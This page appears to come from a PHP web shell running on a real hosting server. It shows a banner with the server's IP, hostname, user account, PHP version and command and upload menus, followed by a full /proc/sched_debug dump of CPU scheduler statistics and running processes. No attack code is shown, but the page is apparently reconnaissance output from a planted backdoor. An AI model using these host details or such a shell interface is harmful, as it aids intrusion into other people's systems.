Server IP : 66.29.142.147  /  Your IP : 216.73.216.99
Web Server : Apache
System : Linux server1.brighttechnologytraining.com 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Tue Sep 23 05:21:08 EDT 2025 x86_64
User : miledici ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../proc/sched_debug
Sched Debug Version: v0.11, 4.18.0-553.76.1.el8_10.x86_64 #1
ktime                                   : 8319346169.171064
sched_clk                               : 8319233932.772932
cpu_clk                                 : 8319233264.425197
jiffies                                 : 12614013465
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 66999867
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2593.906 MHz
  .nr_running                    : 0
  .nr_switches                   : 2697739541
  .nr_uninterruptible            : -5127
  .next_balance                  : 12614.013469
  .curr->pid                     : 0
  .clock                         : 8319233261.130095
  .clock_task                    : 8181123728.424664
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1605187394.808885
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1628850979.483903
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 14
  .runnable_avg                  : 14
  .util_avg                      : 13
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 14
  .tg_load_avg                   : 1138
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 8181123728.424664
  .se->vruntime                  : 3234038374.292788
  .se->sum_exec_runtime          : 1219719718.294477
  .se->load.weight               : 12776
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 13
  .se->avg.runnable_avg          : 14

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3234038374.292788
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_avg                  : 14
  .util_avg                      : 13
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 I      rcu_par_gp     4       110.095136         2   100         0.000000         0.001846         0.000000 0 0 /
 I    slub_flushwq     5       112.095867         2   100         0.000000         0.001672         0.000000 0 0 /
 S rcu_tasks_rude_    10       120.850635         2   120         0.000000         0.002329         0.000000 0 0 /
 S rcu_tasks_trace    11       122.849833         2   120         0.000000         0.000698         0.000000 0 0 /
 S     ksoftirqd/0    12 3234038343.016910  33408490   120         0.000000    736027.658486         0.000000 0 0 /
 S     migration/0    14       128.849830   1962863     0         0.000000     82659.195329         0.000000 0 0 /
 S      watchdog/0    15         0.000000   2079762     0         0.000000      1994.842115         0.000000 0 0 /
 S         cpuhp/0    16       753.506141        12   120         0.000000         0.403378         0.000000 0 0 /
 S         kauditd    41 3234033668.069161   1126256   120         0.000000     35111.931022         0.000000 0 0 /
 S       watchdogd    57       257.438871         2     0         0.000000         0.000000         0.000000 0 0 /
 I acpi_thermal_pm   123       744.378669         2   100         0.000000         0.024321         0.000000 0 0 /
 I          kaluad   125       753.393195         2   100         0.000000         0.015268         0.000000 0 0 /
 I           kstrp   127       762.424378         2   100         0.000000         0.032470         0.000000 0 0 /
 I      scsi_tmf_0   326      1307.619172         2   100         0.000000         0.007339         0.000000 0 0 /
 S       scsi_eh_1   338      1385.329695         4   120         0.000000         0.629359         0.000000 0 0 /
 I      scsi_tmf_1   339      1368.823707         2   100         0.000000         0.021360         0.000000 0 0 /
 I      scsi_tmf_2   341      1386.846728         2   100         0.000000         0.011100         0.000000 0 0 /
 I    kworker/0:2H   355 3234038120.643268  25660822   100         0.000000    484080.622071         0.000000 0 0 /
 S     jbd2/sda2-8   371 3234038120.779417  51512936   120         0.000000   2651240.329809         0.000000 0 0 /
 S          auditd   536 1605183825.220544   1220865   116         0.000000    176864.806718         0.000000 0 0 /system.slice
 I          rpciod   548      2236.037885         2   100         0.000000         1.105468         0.000000 0 0 /
 I         xprtiod   549      2245.064050         2   100         0.000000         0.027262         0.000000 0 0 /
 S     dbus-daemon   631 1605186389.180772   5027656   120         0.000000   1210905.595321         0.000000 0 0 /system.slice
 S           loop0   875 3234038120.644426   8669493   100         0.000000    413484.973511         0.000000 0 0 /
 S    jbd2/loop0-8   877 3234038120.672407   3320277   120         0.000000    226852.590288         0.000000 0 0 /
 I     ib_nl_sa_wq  1038      5957.643618         2   100         0.000000         0.011863         0.000000 0 0 /
 S dnsadmin - dorm  1230 1605186896.904303    998392   120         0.000000    360959.028012         0.000000 0 0 /system.slice
 S cPhulkd - proce  9406 1605183153.249755   7982879   120         0.000000   1010814.523111         0.000000 0 0 /system.slice
 I    kworker/0:1H 144255   3229909.083747         2   100         0.000000         0.038967         0.000000 0 0 /
 S           crond 957753 1605183825.182568    109451   120         0.000000     47919.178283         0.000000 0 0 /system.slice
 S         polkitd 960231 1065104827.909631         3   120         0.000000         0.164872         0.000000 0 0 /system.slice
 S          smartd 962150 1604935147.818829      1044   120         0.000000       393.618420         0.000000 0 0 /system.slice
 S           lsphp 261423 1605187394.808885    566240   120         0.000000    129457.732042         0.000000 0 0 /system.slice
 S             php 360340 1605187359.905014    157164   120         0.000000     23188.416262         0.000000 0 0 /system.slice
 S imunify-agent-p 1922979 1605178889.194019       225   120         0.000000        55.721526         0.000000 0 0 /system.slice
 S imunify-agent-p 1922981 1601706291.761987         1   120         0.000000         0.035087         0.000000 0 0 /system.slice
 S queueprocd - wa 2111761 1605184644.609004       297   120         0.000000       952.109962         0.000000 0 0 /system.slice
 S       splitlogs 2114751 1605187385.728545    101233   120         0.000000      3536.328929         0.000000 0 0 /system.slice
 S       splitlogs 2114752 1605187385.714694    101235   120         0.000000      3075.968437         0.000000 0 0 /system.slice
 S       splitlogs 2114753 1605187385.714869    101227   120         0.000000      3190.239831         0.000000 0 0 /system.slice
 S           httpd 2114793 1605187337.535608      1699   120         0.000000      1088.417536         0.000000 0 0 /system.slice
 S           httpd 2114797 1605187387.329649      1784   120         0.000000      1313.921392         0.000000 0 0 /system.slice
 S           httpd 2114811 1605187194.007230      1600   120         0.000000      1007.047526         0.000000 0 0 /system.slice
 S           httpd 2114815 1605187360.434467      1612   120         0.000000      1047.084148         0.000000 0 0 /system.slice
 S           httpd 2114759 1603716250.913158         1   120         0.000000         2.473866         0.000000 0 0 /system.slice
 S           httpd 2114787 1605183611.695523      1255   120         0.000000       802.383525         0.000000 0 0 /system.slice
 S           httpd 2114817 1605187385.202037      2655   120         0.000000      1620.375205         0.000000 0 0 /system.slice
 S           httpd 2114819 1605185820.838959      2653   120         0.000000      1618.269904         0.000000 0 0 /system.slice
 S           httpd 2114820 1605184521.379132      2469   120         0.000000      1525.617772         0.000000 0 0 /system.slice
 S           httpd 2114821 1605183672.234309      2613   120         0.000000      1603.458196         0.000000 0 0 /system.slice
 S           httpd 2114823 1605183706.234456      2729   120         0.000000      1673.547581         0.000000 0 0 /system.slice
 S           httpd 2114829 1605187177.597570      2794   120         0.000000      1656.547378         0.000000 0 0 /system.slice
 S           httpd 2114841 1605159025.526109      2911   120         0.000000      1654.979998         0.000000 0 0 /system.slice
 S           httpd 2114842 1605187359.395304     40667   120         0.000000      1482.429095         0.000000 0 0 /system.slice
 S           httpd 2114849 1605186897.766237      3608   120         0.000000      2237.494517         0.000000 0 0 /system.slice
 S           httpd 2114850 1605186835.575315      3034   120         0.000000      1823.289740         0.000000 0 0 /system.slice
 S           httpd 2114868 1605186772.965500      3441   120         0.000000      2135.913425         0.000000 0 0 /system.slice
 S           httpd 2114873 1605186990.408379      3330   120         0.000000      2029.756713         0.000000 0 0 /system.slice
 S           httpd 2114973 1605186873.425853      6127   120         0.000000      3732.543131         0.000000 0 0 /system.slice
 S           httpd 2114975 1605186873.290241      6020   120         0.000000      3772.043977         0.000000 0 0 /system.slice
 S           httpd 2114976 1605186873.287198      5543   120         0.000000      3288.127644         0.000000 0 0 /system.slice
 S           httpd 2114981 1605186896.803770      6086   120         0.000000      3931.108036         0.000000 0 0 /system.slice
 S           httpd 2114985 1605187153.158337      5673   120         0.000000      3456.018547         0.000000 0 0 /system.slice
 S           httpd 2114991 1605185820.709718      5406   120         0.000000      3624.853347         0.000000 0 0 /system.slice
 S            nscd 2115155 1605131682.502211         6   120         0.000000         0.653045         0.000000 0 0 /system.slice
 S  cpanel_php_fpm 2115389 1605187359.375821      7018   120         0.000000       335.074426         0.000000 0 0 /system.slice
 S        gssproxy 2115896 1603840643.531983         1   120         0.000000         0.024528         0.000000 0 0 /system.slice
 S        gssproxy 2115899 1603840644.631812         1   120         0.000000         0.006261         0.000000 0 0 /system.slice
 S        gssproxy 2115900 1603840645.117754         1   120         0.000000         0.004733         0.000000 0 0 /system.slice
 S        mariadbd 2116037 1605187336.221830     14208   120         0.000000       383.336349         0.000000 0 0 /system.slice
 S        mariadbd 2116046 1605185647.468516       232   120         0.000000        12.921659         0.000000 0 0 /system.slice
 S        mariadbd 2216824 1605187269.855071      3275   120         0.000000        86.810752         0.000000 0 0 /system.slice
 S        (sd-pam) 2116109 1604663513.546860         1   120         0.000000         0.320159         0.000000 0 0 /user.slice
 S   systemd-udevd 2116172 1605175657.534800       140   120         0.000000        71.063680         0.000000 0 0 /system.slice
 S       pure-ftpd 2116229 1605180838.477601        55   120         0.000000        34.502531         0.000000 0 0 /system.slice
 S  lfd - sleeping 2116297 1605187320.831979      2164   120         0.000000     13242.684494         0.000000 0 0 /system.slice
 S           tuned 2116358 1605187385.885823    173378   120         0.000000     10229.364951         0.000000 0 0 /system.slice
 S   sw-engine-fpm 2116721 1605187359.367028      6567   120         0.000000       716.066311         0.000000 0 0 /system.slice
 S      pure-authd 2116838 1605180840.024093        67   120         0.000000        18.022812         0.000000 0 0 /system.slice
 S      postmaster 2117027 1605183914.018141       513   120         0.000000       349.584104         0.000000 0 0 /system.slice
 S      postmaster 2117045 1605186721.787163      1942   120         0.000000       166.660445         0.000000 0 0 /system.slice
 S      postmaster 2117046 1605186942.068220      1562   120         0.000000       137.476371         0.000000 0 0 /system.slice
 S      imap-login 2117219 1605181329.492976       988   120         0.000000       301.145976         0.000000 0 0 /system.slice
 S  isc-worker0004 2117528 1604664074.856255         3   120         0.000000         0.039072         0.000000 0 0 /system.slice
 S  isc-worker0006 2117530 1604664074.847626         3   120         0.000000         0.029441         0.000000 0 0 /system.slice
 S  isc-worker0007 2117531 1604664074.866764         3   120         0.000000         0.058514         0.000000 0 0 /system.slice
 S      run-script 2117672 1605179041.958964       269   120         0.000000       352.798794         0.000000 0 0 /system.slice
 S     spamd child 2132996 1605175294.771040        40   120         0.000000        29.863842         0.000000 0 0 /system.slice
 I     kworker/0:2 2275392 3234038359.440507     20547   120         0.000000       103.746248         0.000000 0 0 /
 I     kworker/0:3 2292081 3233978844.817154         4   120         0.000000         0.039674         0.000000 0 0 /
 S           lsphp 2292763 1605151797.715781      1939   120         0.000000       477.750169         0.000000 0 0 /system.slice
 S           lsphp 2293304 1605154098.594322      1933   120         0.000000       498.790864         0.000000 0 0 /system.slice
 S         anacron 2293484 1605152279.769017         1   120         0.000000         2.134541         0.000000 0 0 /system.slice
 S         python3 2293805 1605187359.577503       595   120         0.000000      2139.112236         0.000000 0 0 /system.slice
 S         python3 2293941 1605155219.242029       150   120         0.000000        37.952521         0.000000 0 0 /system.slice
 S           lsphp 2294331 1605159033.096232      1908   120         0.000000       462.862626         0.000000 0 0 /system.slice
 S           lsphp 2295368 1605163860.122164      1904   120         0.000000       469.083821         0.000000 0 0 /system.slice
 S           lsphp 2297832 1605177225.192082      1876   120         0.000000       468.461064         0.000000 0 0 /system.slice
 S           lsphp 2298288 1605179429.884797      1941   120         0.000000       470.204506         0.000000 0 0 /system.slice

cpu#1, 2593.906 MHz
  .nr_running                    : 0
  .nr_switches                   : 2893615713
  .nr_uninterruptible            : 1843
  .next_balance                  : 12614.013473
  .curr->pid                     : 0
  .clock                         : 8319233271.265766
  .clock_task                    : 8192827044.692466
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1578085622.794463
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1655952751.498325
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 58
  .runnable_avg                  : 58
  .util_avg                      : 47
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 58
  .tg_load_avg                   : 1138
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 8192827042.739009
  .se->vruntime                  : 3268636332.910322
  .se->sum_exec_runtime          : 1195810565.366110
  .se->load.weight               : 53208
  .se->avg.load_avg              : 2
  .se->avg.util_avg              : 46
  .se->avg.runnable_avg          : 57

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3268636332.910322
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 34597958.617534
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 24
  .runnable_avg                  : 75
  .util_avg                      : 47
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 I       rcu_sched    13 3268636323.881808 1351421267   120         0.000000  22691692.276559         0.000000 0 0 /
 S         cpuhp/1    17       708.886209        12   120         0.000000         0.127366         0.000000 0 0 /
 S      watchdog/1    18        -3.000000   2079761     0         0.000000      8863.417209         0.000000 0 0 /
 S     migration/1    19         0.000000   2079558     0         0.000000     94605.986986         0.000000 0 0 /
 S     ksoftirqd/1    20 3268636289.249309  28090718   120         0.000000    548378.131205         0.000000 0 0 /
 I    kworker/1:0H    22        92.669016         4   100         0.000000         0.227093         0.000000 0 0 /
 S       kdevtmpfs    39 1276552172.768645       140   120         0.000000         1.439867         0.000000 0 0 /
 I           netns    40        40.685771         2   100         0.000000         0.009742         0.000000 0 0 /
 S      khungtaskd    43 3268623126.892855     67705   120         0.000000     36726.543022         0.000000 0 0 /
 S      kcompactd0    46 3267248702.018081     41126   120         0.000000     81784.998059         0.000000 0 0 /
 I     kintegrityd    50        67.704692         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    52        67.704692         2   100         0.000000         0.000000         0.000000 0 0 /
 I      tpm_dev_wq    53        67.738936         2   100         0.000000         0.034244         0.000000 0 0 /
 I       md_bitmap    55        76.738931         2   100         0.000000         0.000000         0.000000 0 0 /
 I    kworker/1:1H    59 3268634225.909575  26513533   100         0.000000    508527.236825         0.000000 0 0 /
 S         kswapd0    61 3268341708.346977    593511   120         0.000000   3870592.419315         0.000000 0 0 /
 I   ipv6_addrconf   126 114554577.153913         5   100         0.000000         0.065660         0.000000 0 0 /
 I    zswap-shrink   130       744.881785         2   100         0.000000         0.025556         0.000000 0 0 /
 I         ata_sff   333 3254863359.237726      2488   100         0.000000       244.986892         0.000000 0 0 /
 I ext4-rsv-conver   878      7150.558899         2   100         0.000000         0.036457         0.000000 0 0 /
 I      ib-comp-wq  1016      8169.057228         2   100         0.000000         0.004439         0.000000 0 0 /
 I        dio/sda2 66296   1537223.895173        16   100         0.000000         9.688014         0.000000 0 0 /
 S         chronyd 2409961 1578081209.435466     49767   120         0.000000     13425.174518         0.000000 0 0 /system.slice
 S        rsyslogd 952561 1578067329.753840      5087   120         0.000000       701.583086         0.000000 0 0 /system.slice
 S    in:imjournal 952593 1578085610.646127   2869992   120         0.000000    563793.170993         0.000000 0 0 /system.slice
 S         qemu-ga 956255 1007367418.146677         2   120         0.000000         0.076960         0.000000 0 0 /system.slice
 S           gdbus 960063 1578082911.855123    313855   120         0.000000     65727.054526         0.000000 0 0 /system.slice
 S       JS Helper 960067 1007939856.687224         5   120         0.000000         0.000000         0.000000 0 0 /system.slice
 S             atd 961017 1577572741.963478       553   120         0.000000       142.867534         0.000000 0 0 /system.slice
 S           httpd 764081 1578085612.961123    440493   120         0.000000     24765.010829         0.000000 0 0 /system.slice
 I    kworker/u8:2 218918 3268636289.239134     22575   120         0.000000      2039.099002         0.000000 0 0 /
 S imunify-agent-p 1922985 1578078358.875661       127   120         0.000000        30.838630         0.000000 0 0 /system.slice
 S           httpd 2114755 1577919605.612340         2   120         0.000000         3.999566         0.000000 0 0 /system.slice
 S           httpd 2114764 1578085614.151270      1669   120         0.000000      1066.242540         0.000000 0 0 /system.slice
 S           httpd 2114802 1578085599.227908      1685   120         0.000000      1062.571706         0.000000 0 0 /system.slice
 S           httpd 2114804 1578084454.959839      1604   120         0.000000       970.746353         0.000000 0 0 /system.slice
 S           httpd 2114810 1578085448.828776      1509   120         0.000000       932.224012         0.000000 0 0 /system.slice
 S           httpd 2114814 1578085483.913946      1541   120         0.000000       969.694777         0.000000 0 0 /system.slice
 S           httpd 2114767 1578084660.592841      1216   120         0.000000       790.072869         0.000000 0 0 /system.slice
 S           httpd 2114771 1578080727.582407      1257   120         0.000000       814.606743         0.000000 0 0 /system.slice
 S           httpd 2114774 1578085303.639444      1217   120         0.000000       780.526516         0.000000 0 0 /system.slice
 S           httpd 2114775 1578080714.014234      1212   120         0.000000       796.138519         0.000000 0 0 /system.slice
 S           httpd 2114778 1578081153.413506      1286   120         0.000000       801.529697         0.000000 0 0 /system.slice
 S           httpd 2114781 1578084455.099686      1249   120         0.000000       825.663468         0.000000 0 0 /system.slice
 S           httpd 2114783 1578073900.193355      1314   120         0.000000       829.545445         0.000000 0 0 /system.slice
 S           httpd 2114786 1578082142.486269      1210   120         0.000000       735.384248         0.000000 0 0 /system.slice
 S           httpd 2114788 1578078176.001916      1197   120         0.000000       754.928194         0.000000 0 0 /system.slice
 S           httpd 2114791 1578085252.905004      1238   120         0.000000       805.868570         0.000000 0 0 /system.slice
 S           httpd 2114818 1578082940.810298      2561   120         0.000000      1607.361221         0.000000 0 0 /system.slice
 S           httpd 2114830 1578083247.889128      2817   120         0.000000      1722.307038         0.000000 0 0 /system.slice
 S           httpd 2114831 1578083248.176720      2665   120         0.000000      1734.857350         0.000000 0 0 /system.slice
 S           httpd 2114832 1578084455.721714      2441   120         0.000000      1592.366643         0.000000 0 0 /system.slice
 S           httpd 2114834 1578084481.317670      2707   120         0.000000      1776.007830         0.000000 0 0 /system.slice
 S           httpd 2114835 1578083302.150848      2337   120         0.000000      1477.781138         0.000000 0 0 /system.slice
 S           httpd 2114836 1578083236.107768      2419   120         0.000000      1649.289006         0.000000 0 0 /system.slice
 S           httpd 2114837 1578084567.981503      2691   120         0.000000      1685.696847         0.000000 0 0 /system.slice
 S           httpd 2114838 1578081858.153353      2922   120         0.000000      1991.972207         0.000000 0 0 /system.slice
 S           httpd 2114839 1578082651.792582      2581   120         0.000000      1685.549245         0.000000 0 0 /system.slice
 S           httpd 2114853 1578085448.517719      3657   120         0.000000      2508.994267         0.000000 0 0 /system.slice
 S           httpd 2114854 1578085613.612289      3837   120         0.000000      2394.016214         0.000000 0 0 /system.slice
 S           httpd 2114855 1578059835.089428      3735   120         0.000000      2548.203109         0.000000 0 0 /system.slice
 S           httpd 2114857 1578076330.105171      4199   120         0.000000      2445.393753         0.000000 0 0 /system.slice
 S           httpd 2114858 1578070954.216357      3837   120         0.000000      2433.635421         0.000000 0 0 /system.slice
 S           httpd 2114860 1578084455.158718      3512   120         0.000000      2246.160092         0.000000 0 0 /system.slice
 S           httpd 2114862 1578085253.916488      3573   120         0.000000      2204.363762         0.000000 0 0 /system.slice
 S           httpd 2114865 1578084455.070633      3958   120         0.000000      2431.716409         0.000000 0 0 /system.slice
 S           httpd 2114867 1578085482.138943      3542   120         0.000000      2113.654188         0.000000 0 0 /system.slice
 S           httpd 2114871 1578085249.016599      3223   120         0.000000      1995.942833         0.000000 0 0 /system.slice
 S           httpd 2114872 1578085482.400165      4068   120         0.000000      2575.538211         0.000000 0 0 /system.slice
 S           httpd 2114956 1578085254.141033      5673   120         0.000000      3651.857459         0.000000 0 0 /system.slice
 S           httpd 2114977 1578085278.826758      5864   120         0.000000      3775.063794         0.000000 0 0 /system.slice
 S           httpd 2114983 1578085391.392450      6534   120         0.000000      3899.533117         0.000000 0 0 /system.slice
 S           httpd 2114987 1578085254.373173      5308   120         0.000000      3188.860079         0.000000 0 0 /system.slice
 S           httpd 2114988 1578085250.076113      5753   120         0.000000      3406.365532         0.000000 0 0 /system.slice
 S           httpd 2114989 1578065464.047291      6856   120         0.000000      4226.845703         0.000000 0 0 /system.slice
 S             p0f 2115074 1578085613.810174    750225   120         0.000000     17604.841533         0.000000 0 0 /system.slice
 S            nscd 2115153 1577633539.657071        57   120         0.000000        11.801119         0.000000 0 0 /system.slice
 S            nscd 2115160 1578085537.211665     10450   120         0.000000      1032.539781         0.000000 0 0 /system.slice
 S        gssproxy 2115897 1576763598.843240         1   120         0.000000         0.021970         0.000000 0 0 /system.slice
